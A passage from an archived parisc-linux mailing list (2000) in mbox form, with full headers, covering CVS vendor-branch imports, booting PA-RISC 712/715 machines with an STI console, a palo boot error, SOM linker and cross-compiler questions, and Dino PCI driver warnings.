>  mai
> = > n
> = > = >     vendor branch and now can't (easily) undo that to import test6 and
> THEN
> = > = >     test10.  This workaround sucks.
> =
> Like the comment said, there was no copy of plain -test6 in CVS (that I
> saw).  Without -test6 in CVS it's much harder to use cvs diff to figure
> out the right way to merge files when there are conflicts.
> I didn't realize this until -test10 was already there, so I *then*
> brought in -test6.  They're in the wrong order on the 1.1.1 branch, so
> the standard merge command 'cvs -jlinus:yesterday -jlinus:<newest>'
> won't work next time -- explicit names will be required.

The best thing to do is to import -test10 again and move the static tag
by re-tagging.

> = Tracking third-party sources using a normal branch, as we are
> = doing, is much simpler and gives you more control.
> 
> But I've seen no cook book for it.  I'm guessing that instead of cvs import
> you use:
>         cvs co -rlinus linux
>         <unpack new linux bits on top of linux>
>         cd linux
>         cvs commit (make note of new files from commit)
>         cvs add <new files>
>         cvs commit
>         cvs tag LINUS_NEW_REVISION
> perhaps with provision for removing obsolete files too.  I suppose that is
> simpler than a single cvs import command from a certain perspective :-)

I had a good chat with Paul about this, and we worked out that using
"import" is marginally better.

This is what the add/remove method would look like:
cvs co -rlinux linux
<unpack new linux bits>
<rm files in dir not in tarball>
cvs rm <rm'ed files>
cvs add <new files>
cvs commit
cvs tag LINUS_NEW_REVISION

Add the import method:
<unpack new linux bits>
cd linux
cvs import linux linus LINUS_NEW_REVISION
cvs admin -b <new files>

> = When you say you "I imported -test10 on the main vendor branch" I hope
> = you really mean that you used "cvs add" on the linus branch.  From your
> = other messages, your tags looked good.
> 
> I used "cvs import", and either your branch magic worked, or I finished the
> merge before anybody randomly updated from cvs.  Since import used 1.1.1,
> which is the branch you "fixed", it seems possible that 'cvs import' might
> be rendered harmless but I don't know that for sure.

Using "import" to bring in new files taints them with the vendor branch
badness.  These files should be adjusted using "cvs admin -b".  Note
that "cvs admin" works directly on files in the repository at low level
(without any revisioning of changes) and is thus to be avoided if at all
possible.  Please don't run "cvs admin" if you (the collective "you")
don't know the consequences.

	- Mike.


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ian Zink <ian.zink@maryville.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Palinux on a 712/60
Date: Tue, 14 Nov 2000 17:08:33 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <C36304FE952AD411AC87002094120338029E7E@MTMAIL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619282 6167 80.91.229.3 (22 Nov 2014 01:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:22 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: ian.zink@maryville.com  Tue Nov 14 16:06:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA04966
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 16:06:46 -0700
Original-Received: (qmail 11499 invoked by uid 15267); 14 Nov 2000 23:08:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11491 invoked from network); 14 Nov 2000 23:08:49 -0000
Original-Received: from ns.maryville.com (HELO ?12.34.165.10?) (12.34.165.10)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 23:08:49 -0000
Original-Received: from mtmail.maryville.com by [12.34.165.10]
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 14 Nov 2000 23:08:49 UT
Original-Received: by MTMAIL with Internet Mail Service (5.5.2651.97)
	id <WGSF2XKF>; Tue, 14 Nov 2000 17:08:33 -0600
X-Mailer: Internet Mail Service (5.5.2651.97)
Xref: news.gmane.org gmane.linux.ports.parisc:8423

Thanks for the reply, Grant. However, the 712s do not have a serial console.
They do have a com port, but it does not work as a console, unfortunately.
So I need do need to get a STI enabled kernel. I dropped Paul Lahaie a note
to see if he could send me such a kernel so I do not have to create the
entire cross-platform development environment just to boot one of these
712s. After I get it, I plan on expanding the 0.5 iso and making a new one
using the STI console kernel.

Ian


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Tue, 14 Nov 2000 14:58:55 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001114142101.00a69910@mail.webcash.com>
References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com> <E13rnTc-0007jH-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619282 6170 80.91.229.3 (22 Nov 2014 01:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:22 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
        Matt Taggart <taggart@carmen.fc.hp.com>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: kailasr@webcash.com  Tue Nov 14 16:07:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA05243
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 16:07:35 -0700
Original-Received: (qmail 12501 invoked by uid 15267); 14 Nov 2000 23:09:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12469 invoked from network); 14 Nov 2000 23:09:37 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 23:09:37 -0000
Original-Received: from test.webcash.com ([209.157.82.100])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eAEMulx34793;
	Tue, 14 Nov 2000 14:56:47 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
X-Priority: 1 (Highest)
In-Reply-To: <E13rnTc-0007jH-00@noam.fc.hp.com>
Original-References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8424

I have booted HP A class server through network. On that I have repartioned 
the system and followed the steps on http://www.parisc-linux.org/install.html.
I have used the following command to initialize the hard disk. The kernel I 
have downloaded is vmlinux-20001018. and cpied it to /mnt/boot/vmlinux 
after mounting /dev/sda3. I have used the following command to initialize 
the HDD.

palo -I -k /boot/vmlinux -b /boot/iplboot \ -c '3/boot/vmlinux TERM=linux 
HOME=/ root=/dev/sda3' \ /dev/sda
--------------------------------
I get the following error:
--------------------------------
SOFT Boot.
palo ipl bame@noam Tue oct 31 14:18:02 MST 2000
0/vmlinux 2138614 bytes@ 0x1f78c000
0/palo-cmdline '3/boot/vmlinux TERM=linux HOME=/ root=/dev/sda3'
/dev/ida1	82	62		1030688
/dev/ida2	f0	1030750	24738
/dev/ida3	83	1055488	1030750
Kernel:partition 3 file /boot/vmlinux
ext2 block size 1024
ext2_mount(partition 3) returns 0
ext2_open(/boot/vmlinux) = -1
open /boot/vmlinux failed
-------------------------------------
Please suggest.


From - Thu Nov 08 21:14:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palinux on a 712/60
Date: Tue, 14 Nov 2000 15:18:10 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200011142318.PAA12473@milano.cup.hp.com>
References: <C36304FE952AD411AC87002094120338029E7E@MTMAIL>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619282 6173 80.91.229.3 (22 Nov 2014 01:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:22 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: Ian Zink <ian.zink@maryville.com>
Original-X-From: grundler@cup.hp.com  Tue Nov 14 16:16:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA05637
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 16:16:16 -0700
Original-Received: (qmail 23724 invoked by uid 15267); 14 Nov 2000 23:18:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23717 invoked from network); 14 Nov 2000 23:18:14 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 14 Nov 2000 23:18:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 18E3D84B; Tue, 14 Nov 2000 15:18:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA12473;
	Tue, 14 Nov 2000 15:18:11 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 14 Nov 2000 17:08:33 PST."
             <C36304FE952AD411AC87002094120338029E7E@MTMAIL> 
Xref: news.gmane.org gmane.linux.ports.parisc:8425

Ian Zink wrote:
> Thanks for the reply, Grant. However, the 712s do not have a serial console.
> They do have a com port, but it does not work as a console, unfortunately.

It does for linux. That's what the "Switching from PDC Console" is about.
Connect the serial cable to the com port and look at the output.
I've done it in the past and know it worked at least once.
I haven't tried it with the lasted ISO - no time to play w/712's now.

> So I need do need to get a STI enabled kernel. I dropped Paul Lahaie a note
> to see if he could send me such a kernel...

Paul just sent mail to the list indicating he's working on console issues.
Please let him work on it.
Trust me, he'll tell us when he's done. :^)

grant


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dhazeghi@pacbell.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Semi OT] SOM Linker
Date: Tue, 14 Nov 2000 18:17:39 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <3A11F243.4A3625C@pacbell.net>
References: <3A0F7D5B.4A70CB73@pacbell.net> <3A1037F0.826C9D8C@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619283 6175 80.91.229.3 (22 Nov 2014 01:21:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhazeghi@pacbell.net  Tue Nov 14 19:34:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA06775
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 19:34:36 -0700
Original-Received: (qmail 28845 invoked by uid 15267); 15 Nov 2000 02:36:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28836 invoked from network); 15 Nov 2000 02:36:39 -0000
Original-Received: from mta5.snfc21.pbi.net (206.13.28.241)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 02:36:39 -0000
Original-Received: from pacbell.net ([63.197.150.190])
 by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G4100M32NNIUJ@mta5.snfc21.pbi.net> for
 parisc-linux@thepuffingroup.com; Tue, 14 Nov 2000 18:16:30 -0800 (PST)
Original-Sender: dara@mta5.snfc21.pbi.net
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8426

Alex deVries wrote:

> dhazeghi@pacbell.net wrote:
> > However I would like to know what work if any has been done on the SOM
> > linker which HP released to the public last November(?). It seems that
> > as of right now, it has not been touched since February 14, and the FSF
> > binutils snapshots still do not have any SOM support for ld. Has there
> > been any movement in merging this in, or is anybody working on this?
>
> The initial plan was to do our 32-bit userspace with SOM, worrying about
> ELF32 much later in the game.  But ELF32 development happened a lot
> quicker than expected, and so nobody's really done much on the SOM
> linker.

That's what it looked like...

>
>
> I suspect it'd be very hard to use the SOM linker code to incorporate it
> into binutils, but I could be wrong.
>
> What are you actually trying to do?

I would like to be able to set up a cross compilation environment for hpux and
32 bit PA-RISC. However without a functional cross linker, this is impossible
to do, and as binutils has not got one yet, I thought perhaps the one that HP
open-sourced might be some use. It would seem logical that with the sources
available, it shouldn't be too difficult to fix the broken bits and get a SOM
linker working in binutils, but that doesn't seem to have happened yet. Oh
well, thanks for the info...

Dara Hazeghi


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Semi OT] SOM Linker
Date: Tue, 14 Nov 2000 22:00:25 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200011150300.WAA20789@hiauly1.hia.nrc.ca>
References: <3A11F243.4A3625C@pacbell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619283 6178 80.91.229.3 (22 Nov 2014 01:21:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dhazeghi@pacbell.net
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 14 19:59:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA07263
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 19:59:18 -0700
Original-Received: (qmail 17093 invoked by uid 15267); 15 Nov 2000 03:00:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17081 invoked from network); 15 Nov 2000 03:00:39 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 03:00:39 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id WAA20789;
	Tue, 14 Nov 2000 22:00:26 -0500 (EST)
In-Reply-To: <3A11F243.4A3625C@pacbell.net> from "dhazeghi@pacbell.net" at Nov 14, 2000 06:17:39 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8427

> I would like to be able to set up a cross compilation environment for hpux and
> 32 bit PA-RISC. However without a functional cross linker, this is impossible
> to do, and as binutils has not got one yet, I thought perhaps the one that HP
> open-sourced might be some use. It would seem logical that with the sources
> available, it shouldn't be too difficult to fix the broken bits and get a SOM
> linker working in binutils, but that doesn't seem to have happened yet. Oh
> well, thanks for the info...

You should be able to build cross compilation tools under hpux for hppa-linux.
First you should install native versions of binutils and gcc under hpux (this
assumes that you have the hpux C compiler and linker).  The release version of
gcc (2.95.2) would be a good choice.  The standard hpux linker works fine with
gcc/gas for C compilations.  Then follow the directions at www.parisc-linux.org
for building the cross compilation tools and linux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dhazeghi@pacbell.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Semi OT] SOM Linker
Date: Tue, 14 Nov 2000 21:23:41 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <3A121DDD.992ECBC8@pacbell.net>
References: <200011150300.WAA20789@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619283 6181 80.91.229.3 (22 Nov 2014 01:21:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhazeghi@pacbell.net  Tue Nov 14 22:33:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA08222
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Nov 2000 22:32:59 -0700
Original-Received: (qmail 11890 invoked by uid 15267); 15 Nov 2000 05:35:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11870 invoked from network); 15 Nov 2000 05:35:01 -0000
Original-Received: from mta6.snfc21.pbi.net (206.13.28.240)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 05:35:01 -0000
Original-Received: from pacbell.net ([63.197.150.190])
 by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G4100ES2W8R5C@mta6.snfc21.pbi.net> for
 parisc-linux@thepuffingroup.com; Tue, 14 Nov 2000 21:22:03 -0800 (PST)
Original-Sender: dara@mta6.snfc21.pbi.net
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8428

John David Anglin wrote:

> > I would like to be able to set up a cross compilation environment for hpux and
> > 32 bit PA-RISC. However without a functional cross linker, this is impossible
> > to do, and as binutils has not got one yet, I thought perhaps the one that HP
> > open-sourced might be some use. It would seem logical that with the sources
> > available, it shouldn't be too difficult to fix the broken bits and get a SOM
> > linker working in binutils, but that doesn't seem to have happened yet. Oh
> > well, thanks for the info...
>
> You should be able to build cross compilation tools under hpux for hppa-linux.
> First you should install native versions of binutils and gcc under hpux (this
> assumes that you have the hpux C compiler and linker).  The release version of
> gcc (2.95.2) would be a good choice.  The standard hpux linker works fine with
> gcc/gas for C compilations.  Then follow the directions at www.parisc-linux.org
> for building the cross compilation tools and linux.

This is not precisely what I mean. What I should have said is that I want to create
a cross compiler --host=i686-linux --target=hppa-hpux. I asked this list, because
you folks did some work on the SOM linker, which is at the moment the missing piece
for a cross toolchain which targets hpux.

Thanks,

Dara

P.S. On a different note, is the recipe fully up to date? I tried following it a
few weeks ago, but glibc did not complete building successfully.


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Palinux on a 712/60
Date: Wed, 15 Nov 2000 10:05:04 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C28071AB6FB@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619284 6183 80.91.229.3 (22 Nov 2014 01:21:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:24 +0000 (UTC)
To: ian.zink@maryville.com, parisc-linux@thepuffingroup.com
Original-X-From: Arnaud.ATOCH@oecd.org  Wed Nov 15 02:03:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA19092
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 02:03:08 -0700
Original-Received: (qmail 32331 invoked by uid 15267); 15 Nov 2000 09:05:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32317 invoked from network); 15 Nov 2000 09:05:07 -0000
Original-Received: from cs1-hq.oecd.org (193.51.65.66)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 09:05:07 -0000
Original-Received: from netsweep1.oecd.org (netsweep1.oecd.org [10.102.5.110])
	by cs1-hq.oecd.org (8.9.3/8.9.3/oecd-1.6) with ESMTP id KAA02292
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 10:03:24 +0100
Original-Received: from eosgty.oecd.org (unverified) by netsweep1.oecd.org
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T0a66056e4fe42d93f1@netsweep1.oecd.org>;
 Wed, 15 Nov 2000 10:03:28 +0100
Original-Received: by eosgty.oecd.org with Internet Mail Service (5.5.2448.0)
	id <V8RXF4RM>; Wed, 15 Nov 2000 10:05:08 +0100
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:8429

Hi,

I got a couple of 715 and I'd love having access to an ISO image with STI
console kernel too.

-----Original Message-----
From: Ian Zink [mailto:ian.zink@maryville.com]
Sent: Wednesday, November 15, 2000 00:09
To: 'parisc-linux@thepuffingroup.com'
Subject: RE: [parisc-linux] Palinux on a 712/60 


Thanks for the reply, Grant. However, the 712s do not have a serial console.
They do have a com port, but it does not work as a console, unfortunately.
So I need do need to get a STI enabled kernel. I dropped Paul Lahaie a note
to see if he could send me such a kernel so I do not have to create the
entire cross-platform development environment just to boot one of these
712s. After I get it, I plan on expanding the 0.5 iso and making a new one
using the STI console kernel.

Ian

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@mozilla.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] justin
Date: Tue, 20 Apr 1999 21:22:35 -0400
Organization: mozilla.org diplomatic corps
Lines: 15
Approved: news@gmane.org
Message-ID: <371D285B.27257199@mozilla.org>
References: <199904210059.SAA10365@puffin.external.hp.com> <371D2595.3EB4D7D1@mozilla.org> <19990420202140.A18689@master.debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619284 6188 80.91.229.3 (22 Nov 2014 01:21:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: shaver@mozilla.org  Tue Apr 20 21:50:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id VAA13484
	for <parisc-linux@sod.res.cmu.edu>; Tue, 20 Apr 1999 21:50:09 -0400
Original-Received: (qmail 30498 invoked by uid 15267); 21 Apr 1999 01:21:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30483 invoked from network); 21 Apr 1999 01:21:51 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 21 Apr 1999 01:21:51 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA27427
	for <parisc-linux@thepuffingroup.com>; Tue, 20 Apr 1999 18:23:00 -0700 (PDT)
Original-Received: from mozilla.org ([205.217.243.67]) by tintin.mcom.com
          (Netscape Messaging Server 4.03) with ESMTP id FAIMIU00.H8F for
          <parisc-linux@thepuffingroup.com>; Tue, 20 Apr 1999 18:23:18 -0700 
Original-Sender: shaver@netscape.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.3-5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8430

Justin Maurer wrote:
> 
> > > puffin, is binutils-x-hppa ok?
> >
> > binutils-x-parisc, no?
> 
> oops :) yes, that is what i used. is it the proper label?

To the best of my meagre knowledge, yes.

Mike

-- 
242120.15 234824.91


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dino maintainer?
Date: Wed, 15 Nov 2000 09:58:35 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20001115095835.I32715@linuxcare.com>
References: <20001114101704.Y32715@linuxcare.com> <200011141610.IAA11646@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619284 6191 80.91.229.3 (22 Nov 2014 01:21:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:24 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>, Helge Deller <deller@gmx.de>
Original-X-From: rhirst@linuxcare.com  Wed Nov 15 02:58:59 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA19658
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 02:58:56 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6DEEFB007; Wed, 15 Nov 2000 09:58:35 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011141610.IAA11646@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Nov 14, 2000 at 08:10:42AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8431

On Tue, Nov 14, 2000 at 08:10:42AM -0800, Grant Grundler wrote:
> The bug is normal for card-mode Dino - not for Built-in Dino.
> I think Helge has the GSC 100BT card which is a card-mode Dino on-board
> with one (or two) Tulip(s) behind it.
> 
> The warning is a reminder one can NOT use MMIO accesses to those
> PCI devices and *only* I/O Port space (eg inb/outb).
> 
> If someone wants to fix the warning so it's quiet for card-mode
> devices...see is_card_dino(d) in dino_driver_callback() for an
> example.
> 
> FYI - card-mode dino was used for several different networking
> interfaces but not SCSI interfaces.

But Helge has problems with the sym53c8xx driver on a B160L.  Is
that a PCI card driven via Dino?  And if so, are you saying he needs
to build his kernel with CONFIG_SCSI_NCR53C8XX_IOMAPPED=y so it
doesn't try to use MMIO?

Helge, it might be worth trying to switch on CONFIG_SCSI_NCR53C8XX_IOMAPPED
anyway just to see what happens.  Otherwise someone needs to start
adding printk debug to figure out what is happening.  I can't do
that as I don't have a sym53c8xx pci card.

Richard


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palinux on a 712/60
Date: Wed, 15 Nov 2000 18:10:13 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20001115181010.W22138@neep.com.au>
References: <C12531D038D1D011B1DB0000F8036C28071AB6FB@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619285 6192 80.91.229.3 (22 Nov 2014 01:21:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Wed Nov 15 03:08:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA20086
